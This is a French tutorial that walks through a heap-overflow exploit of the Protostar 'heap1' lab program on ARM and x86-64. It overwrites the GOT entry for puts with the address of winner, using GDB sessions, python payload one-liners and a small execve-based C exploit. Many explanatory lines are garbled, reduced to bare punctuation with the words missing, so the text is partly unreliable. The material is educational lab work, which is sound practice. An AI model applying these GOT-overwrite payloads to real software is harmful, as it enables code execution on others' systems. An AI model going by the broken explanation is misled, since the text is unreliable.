Ce tutoriel est destiné aux débutants, mais il suppose que le lecteur est déjà familiarisé avec les bases de la fonction malloc de la glibc. Examinons de plus près comment exploiter les débordements de tas sous Linux en utilisant l'exemple d'un Raspberry PI / ARM1176 32 bits . Nous analyserons également certaines des nuances de fonctionnement des systèmes x86-x64 . Pour cela, nous utiliserons les outils GDB + GEF .
Passons directement au code vulnérable que j'ai emprunté aux tâches du laboratoire Protostar , à savoir cette tâche .
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
En bref sur le code.
Des structures sont créées
i1, i2, i3
.
Au démarrage du programme, deux arguments sont passés, qui sont copiés aux adresses des pointeurs
i1->name
et,i2->name
respectivement.
Et à la fin, le message "et c'est une enveloppe les gens!" ...
Une tâche
Appelez une fonction winner
.
Décision
Commençons par compiler le code:
gcc -o heap1 heap1.c
Pour appeler une fonction
winner
, vous devez prendre son adresse et l'écrire dans le pointeur, qui contient l'adresse de la fonctionprintf
.
Pour ce faire, vous devez déborder le pointeur
i1->name
et écraser l'adresse par l'i2->name
adresse de la fonctionwinner
.
,
i1->name
i2->name.
, .
.
1
. GDB
gdb -q heap1
disas main
b *0x000105
r AAAA BBBB
:
info proc map
x/120x 0x22000
(chunk). .
2
.
heap chunks
0x22160
,
heap chunk 0x22160
16
12
4
32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )
24 (20 4 ):
./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
Segmentation fault. , .
gdb ./heap1 disas main
strcopy
, 0x000105e8
b *0x105e8
r $(python3 -c 'print("A"*24+" "+"BBBB")')
, :
winner
, , printf
( puts
).
x/i 0x103a0
puts
GOT. GEF got
. GOT .
got
, , 0x21018
. winner
.
winner
.
p winner
0x10504
.
. i2->name
:
r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, 0x21018
0x10504 <winner>
, . nexti
, 0x21018
:
0x10504 <winner>
. :
./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, bash , , - (ignored null byte in input), , , winner
. .
Linux x86-x64. GDB 10.1.90 ARM1176, Raspberry GDB 8.2.1. , puts
, .plt
disas main
:
x/i 0x555555555040
. , .
winner
p winner
puts 0x555555558020
, x20, , , , bash . . , "$(...)"
, :
./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
. , , 8 -, ..
\x20\x80\x55\x55\x55\x55\x00\x00
\x75\x51\x55\x55\x55\x55\x00\x00
Mais ici aussi, un problème se pose, car le shell de commande traite les octets nuls comme la fin de la ligne et l'exploit ne fonctionnera pas, car les adresses sont reçues incorrectes.
Pour résoudre ce problème, vous pouvez utiliser la fonction execve du langage C.
Nous écrivons un exploit:
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
if (execve("./heap1", argv, NULL) == -1)
perror("Could not execve");
return 1;
}
Je pense que tout est clair dans le code.
Compilez et exécutez
gcc ./exploit.c -o exploit gdb -q ./exploit
Maintenant, l'exploit fonctionne comme il se doit:
C'est tout. Merci pour l'attention.